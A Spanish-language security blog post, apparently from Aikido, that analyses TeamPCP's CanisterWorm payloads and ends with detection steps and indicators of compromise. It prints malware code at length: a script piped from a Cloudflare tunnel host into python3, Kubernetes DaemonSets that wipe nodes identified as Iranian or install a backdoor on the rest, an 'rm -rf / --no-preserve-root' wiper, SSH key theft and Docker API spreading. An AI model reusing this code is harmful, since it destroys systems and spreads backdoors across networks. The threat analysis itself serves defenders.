Aikido

CanisterWorm se vuelve más agresivo: el programa de borrado de Kubernetes de TeamPCP apunta a Irán

Escrito por
Charlie Eriksen

Hemos descubierto una nueva carga útil en el arsenal de TeamPCP, y esta no se limita a robar credenciales o instalar puertas traseras. Borra clústeres completos de Kubernetes.

El script utiliza exactamente el mismo contenedor ICP (tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io) que documentamos en el Campaña CanisterWorm. El mismo C2, el mismo código de puerta trasera, el mismo /tmp/pglog ruta de descarga. El movimiento lateral nativo de Kubernetes a través de DaemonSets concuerda con el modus operandi conocido de TeamPCP, pero esta variante añade algo que no habíamos visto antes en ellos: una carga destructiva con objetivos geopolíticos dirigida específicamente a sistemas iraníes.

Resumen general

Dado que la entrada del blog contiene muchos detalles técnicos, a continuación ofrecemos un resumen de las observaciones más importantes que hemos hecho:

  • 🐙 El mismo cartucho ICP C2 que el CanisterWorm (tdtqy-oyaaa-aaaae-af2dq-cai)
  • 🎯 La carga útil comprueba la zona horaria y la configuración regional para identificar los sistemas iraníes
  • ☸️ En Kubernetes: implementa DaemonSets con privilegios en todos los nodos, incluido el plano de control
    • 💀 Los nodos iraníes se borran y se reinician de forma forzada a través de un contenedor llamado kamikaze
    • 🔒 En los nodos no iraníes se instala la puerta trasera CanisterWorm como servicio de systemd
  • 💣 Los servidores iraníes que no utilizan K8s obtienen rm -rf / --no-preserve-root
  • 🐘 Persistencia disfrazada de herramientas de PostgreSQL: pglog, pg_state, monitor interno
  • 🔄 Se ha observado que varios dominios Cloudflare se alternan como infraestructura de distribución de carga útil
  • 🟪 La última variante incorpora movimientos laterales a través de la red
    • 🔑 La propagación de SSH a través de claves robadas y el análisis de registros de autenticación
    • 🐳 Aprovecha las API de Docker expuestas en el puerto 2375 en toda la subred local

El decorador

Al principio, observamos que simplemente apuntaba a https://souls-entire-defined-routes[.]trycloudflare.com/kamikaze.sh , que contenía una carga útil única. Posteriormente, dividió la carga útil en dos archivos, como se puede ver a continuación.

#!/usr/bin/env bash
set -euo pipefail

if ! command -v kubectl &>/dev/null; then
    ARCH="amd64"
    [[ "$(uname -m)" == "aarch64" ]] && ARCH="arm64"
    curl -L -s "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/${ARCH}/kubectl" -o /tmp/kubectl
    chmod +x /tmp/kubectl
    export PATH="/tmp:$PATH"
fi

PY_URL="https://souls-entire-defined-routes.trycloudflare[.]com/kube.py"
curl -L -s "$PY_URL" | python3 -

rm -- "$0"

Como puedes ver, se está descargando kubectl si aún no está instalado. A continuación, se descarga kube.py del mismo servidor, y lo ejecuta antes de borrarse a sí mismo. El código realmente interesante se encuentra ahí. A continuación se muestran las últimas líneas del script, que describen claramente la finalidad del código, y que analizaremos con más detalle:

if __name__ == "__main__":    if is_k8s():        if is_iran():
           deploy_destructive_ds()        else:
           deploy_std_ds()    else:        if is_iran():
           poison_pill()
        sys.exit(1)

Cómo elige su objetivo

Lo primero que hace la carga útil es determinar dónde se está ejecutando. Dos comprobaciones:

def is_k8s():
    return os.path.exists("/var/run/secrets/kubernetes.io/serviceaccount") or \
           "KUBERNETES_SERVICE_HOST" en os.environ

Detección estándar de pods de Kubernetes. A cada pod se le asigna una cuenta de servicio de forma predeterminada.

Y esto:

def is_iran():
   tz = ""
     if os.path.exists("/etc/timezone"):        with open("/etc/timezone", "r") as f:
           tz = f.read().strip()    else:
        try:
           tz = subprocess.check_output(["timedatectl", "show", "--property=Timezone", "--value"], 
                                        stderr=subprocess.DEVNULL).decode().strip()
        except:
           pass 
    
    lang = os.environ.get("LANG", "")    return tz in ["Asia/Tehran", "Iran"] or "fa_IR" in lang

Comprueba la zona horaria y la configuración regional del sistema. Si el equipo está configurado para Irán (Asia/Teherán, Irán, o fa_IR), la carga útil sigue una trayectoria muy diferente.

Cuatro caminos, un guion

El árbol de decisión es sencillo y contundente:

  • Kubernetes + Irán: Implementar un DaemonSet que borre todos los nodos del clúster
  • Kubernetes y otros entornos: implementar un DaemonSet que instale la puerta trasera CanisterWorm en todos los nodos
  • Sin Kubernetes + Irán: rm -rf / --no-preserve-root
  • Si no hay Kubernetes ni ninguna otra opción: Salir. No ocurre nada.

El limpiaparabrisas: «kamikaze»

El DaemonSet destinado a Irán se llama proveedor de alojamiento - Irán. El contenedor que hay en su interior se llama kamikaze. Desde luego, no es nada sutil.

def deploy_destructive_ds():
    ds_name = "host-provisioner-iran"
    if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
        return

    yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: {ds_name}
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: {ds_name}
  template:
    metadata:
      labels:
        name: {ds_name}
    spec:
      hostNetwork: true
      hostPID: true
      tolerations:
      - operator: Exists
      containers:
      - name: kamikaze
        image: alpine:latest
        securityContext:
          privileged: true
        command: ["/bin/sh", "-c"]
        args:
          - |
            find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {{}} + || true
            chroot /mnt/host reboot -f
        volumeMounts:
        - name: host-root
          mountPath: /mnt/host
      volumes:
      - name: host-root
        hostPath:
          path: /
"""
    subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())

El DaemonSet monta el sistema de archivos raíz del host en /mnt/host, elimina todo lo que hay en el nivel superior y, a continuación, fuerza el reinicio. Como se trata de un DaemonSet con tolerancias: [operador: Exists], se programa en todos los nodos del clúster, incluido el plano de control. Uno kubectl apply y todo el clúster queda inutilizado.

La ruta de persistencia

En el caso de los objetivos no iraníes, el DaemonSet (host-provisioner-std) es menos llamativo, pero más útil desde el punto de vista operativo. Instala la puerta trasera CanisterWorm en cada nodo y la registra como un servicio de systemd:

def deploy_std_ds():
    ds_name = "host-provisioner-std"
    if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
        return

    yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: {ds_name}
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: {ds_name}
  template:
    metadata:
      labels:
        name: {ds_name}
    spec:
      hostNetwork: true
      hostPID: true
      tolerations:
      - operator: Exists
      containers:
      - name: provisioner
        image: alpine:latest
        securityContext:
          privileged: true
        command: ["/bin/sh", "-c"]
        args:
          - |
            mkdir -p /mnt/host{CONFIG['TARGET_DIR']}
            echo '{CONFIG['PYTHON_B64']}' | base64 -d > /mnt/host{CONFIG['TARGET_DIR']}/runner.py
            cat <<EOF_UNIT > /mnt/host/etc/systemd/system/{CONFIG['SVC_NAME']}.service
            [Unit]
            Description=System Monitor
            After=network.target

            [Service]
            ExecStart=/usr/bin/python3 {CONFIG['TARGET_DIR']}/runner.py
            Restart=always
            RestartSec=5

            [Install]
            WantedBy=multi-user.target
            EOF_UNIT
            chroot /mnt/host systemctl daemon-reload
            chroot /mnt/host systemctl enable --now {CONFIG['SVC_NAME']}
            sleep infinity
        volumeMounts:
        - name: host-root
          mountPath: /mnt/host
      volumes:
      - name: host-root
        hostPath:
          path: /
"""
    subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())

La puerta trasera es la misma que documentamos en la entrada sobre CanisterWorm. Cada 50 minutos consulta el contenedor ICP en busca de una URL binaria, descarga y ejecuta lo que se le indique. El youtube[.]com El interruptor de emergencia sigue estando presente.

La «cláusula de protección»

En el caso de los sistemas iraníes que no utilizan Kubernetes, el enfoque es más rudimentario:

def poison_pill():
    cmd = "rm -rf / --no-preserve-root"
    if os.getuid() == 0:
        os.system(cmd)
    else:
        os.system(f"sudo -n {cmd} 2>/dev/null || {cmd}")

Si tiene privilegios de root, borra el sistema. Si no es así, intenta ejecutar «sudo» sin contraseña y, si no funciona, lo intenta de todos modos. Incluso sin privilegios de root, destruirá todo lo que el usuario tenga.

Por qué esto importa

TeamPCP figura como un actor malicioso nativo de la nube desde finales de 2025, y ataca API de Docker mal configuradas, clústeres de Kubernetes y canalizaciones de CI/CD. Su modus operandi (identificación de entornos, ramificaciones específicas de Kubernetes) se ha mantenido constante. Pero el Trivy y la campaña CanisterWorm demostraron que podían operar a escala de cadena de suministro, y esta carga útil demuestra que están preparados para ser destructivos cuando lo deseen.

Qué hay que tener en cuenta

Comprueba si hay DaemonSets en kube-system que no has creado:

kubectl get ds -n kube-system

Busca proveedor de alojamiento - Irán o host-provisioner-std. Comprueba también cualquier DaemonSet que monte hostPath: / con un contexto de seguridad privilegiado. Esa combinación nunca debería aparecer fuera de agentes a nivel de infraestructura, como el propio kubelet.

En el lado del servidor, comprueba lo siguiente:

  • Un servicio de systemd llamado monitor interno (systemctl status internal-monitor)
  • Archivos en /var/lib/svc_internal/runner.py
  • Procesos denominados pglog ES /tmp/
  • Conexiones salientes a icp0[.]io dominios

Actualización: Ahora se está propagando

Acaba de aparecer una tercera versión de la carga útil, alojada en https://championships-peoples-point-cassette.trycloudflare[.]com/prop.py La misma puerta trasera del contenedor ICP, el mismo programa de borrado iraní, pero este no necesita Kubernetes. Se propaga por sí solo.

Las versiones anteriores utilizaban DaemonSets para desplazarse por el clúster. Esta variante prescinde por completo de ellos y los sustituye por dos métodos de movimiento lateral: el robo de claves SSH y el aprovechamiento de API de Docker expuestas. Además, analiza la subred local /24 en busca de nuevos objetivos.

Así es como encuentra los equipos a los que atacar:

def get_accepted_targets():
    targets = {}
    for path in ["/var/log/auth.log", "/var/log/secure"]:
        if os.path.exists(path):
            try:
                with open(path, "r") as f:
                    for line in f:
                        if "Accepted" in line:
                            match = re.search(r'Accepted \S+ for (\S+) from (\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)', line)
                            if match:
                                user, ip = match.groups()
                                if ip not in targets: targets[ip] = []
                                if user not in targets[ip]: targets[ip].append(user)
            except: pass
    return targets

Analiza /var/log/auth.log y /var/log/secure para los inicios de sesión SSH correctos, extrayendo tanto el nombre de usuario como la IP de origen. Estos se convierten en pares de propagación específicos. Para cualquier IP que encuentre en la subred y que no figure en los registros de autenticación, recurre a intentar root, ubuntu, administrador, y ec2-user.

A continuación, recopila todas las claves privadas SSH que encuentra:

keys = []
ssh_base = os.path.expanduser("~/.ssh")    for t in ["id_rsa", "id_ed25519", "id_ecdsa"]:
       p = os.path.join(ssh_base, t)
                if os.path.exists(p):
            keys.append(p)

Para cada objetivo, comprueba dos puertos. El puerto 22 se utiliza para la propagación SSH:

cmd = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "PasswordAuthentication=no",
       "-o", "ConnectTimeout=5", "-i", k, f"{user}@{ip}",
       f"echo {b64_logic} | base64 -d | bash"]

El puerto 2375 aprovecha la vulnerabilidad de la API de Docker, creando un contenedor con privilegios en el que se monta el directorio raíz del host:

payload = {
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh", "-c", f"chroot /mnt/host /bin/sh -c '{logic}'"],
    "HostConfig": {"Binds": ["/:/mnt/host"], "Privileged": True, "NetworkMode": "host"}
}
conn.request("POST", "/containers/create", json.dumps(payload), {"Content-Type": "application/json"})

Ambas opciones ofrecen lo mismo get_remote_logic() código malicioso, que comprueba la zona horaria de Irán en el servidor remoto. Los objetivos iraníes son eliminados, mientras que el resto recibe el pgmon.py puerta trasera instalada como servicio de systemd.

El limpiaparabrisas en sí ha cambiado. Las versiones anteriores utilizaban rm -rf / --no-preserve-root en hosts que no son K8s, mientras que la variante DaemonSet utilizada find / -maxdepth 1 ... -exec rm -rf {} + con un reinicio forzado. Esta versión se basa en el encontrar enfoque con reiniciar -f en todos los ámbitos:

find / -maxdepth 1 -not -name 'mnt' -exec rm -rf {} + || true; reboot -f

Esto está sacado directamente de una publicación anterior de TeamPCP proxy.sh y pcpcat.py herramientas con las que buscaban API de Docker expuestas y difundían claves SSH por las subredes. La diferencia es que aquellas herramientas eran scripts independientes para la creación de infraestructuras. Esta, en cambio, lleva incorporados la puerta trasera CanisterWorm y el programa de borrado Iran.

Otras novedades con respecto a las versiones anteriores: el nombre del servicio ha pasado de monitor interno con pgmonitor, la ruta de instalación se ha cambiado de /var/lib/svc_internal/ con /var/lib/pgmon/, y la descripción de systemd es ahora «Servicio de supervisión de Postgres». El camuflaje de PostgreSQL es cada vez más coherente.

Indicadores de Compromiso

Red

  • tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io (Contenedor ICP C2 de entrega secreta)
  • https://souls-entire-defined-routes.trycloudflare[.]com/ (entrega de la carga útil, primero)
  • https://investigation-launches-hearings-copying.trycloudflare[.]com/ (entrega de la carga útil, segundo)
  • https://championships-peoples-point-cassette.trycloudflare[.]com (entrega de la carga útil, tercera)

Kubernetes

  • DaemonSet proveedor de alojamiento - Irán ES kube-system
  • DaemonSet host-provisioner-std ES kube-system
  • Nombres de contenedores: kamikaze, proveedor

Host

  • /var/lib/svc_internal/runner.py
  • /etc/systemd/system/internal-monitor.service
  • /tmp/pglog
  • /tmp/.pg_state
  • /var/lib/pgmon/pgmon.py
  • /etc/systemd/system/pgmonitor.service
  • Servicio de Systemd: pgmonitor (Descripción: «Servicio de monitorización de Postgres»)
  • Servicio de Systemd: monitor interno

Indicadores de movimiento lateral

  • Conexiones SSH salientes con StrictHostKeyChecking=no desde equipos comprometidos
  • Conexiones salientes al puerto 2375 (API de Docker) a través de la subred local
  • Contenedores Alpine con privilegios creados a través de la API de Docker sin autenticación con hostPath: / montaje con encadernación

... La noticia sigue en desarrollo. Estén atentos a las novedades.

Compartir:

https://www.aikido.dev/blog/teampcp-stage-payload-canisterworm-iran

Suscríbase para recibir noticias sobre amenazas.

Empieza hoy, gratis.

Empieza gratis
Sin tarjeta
4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.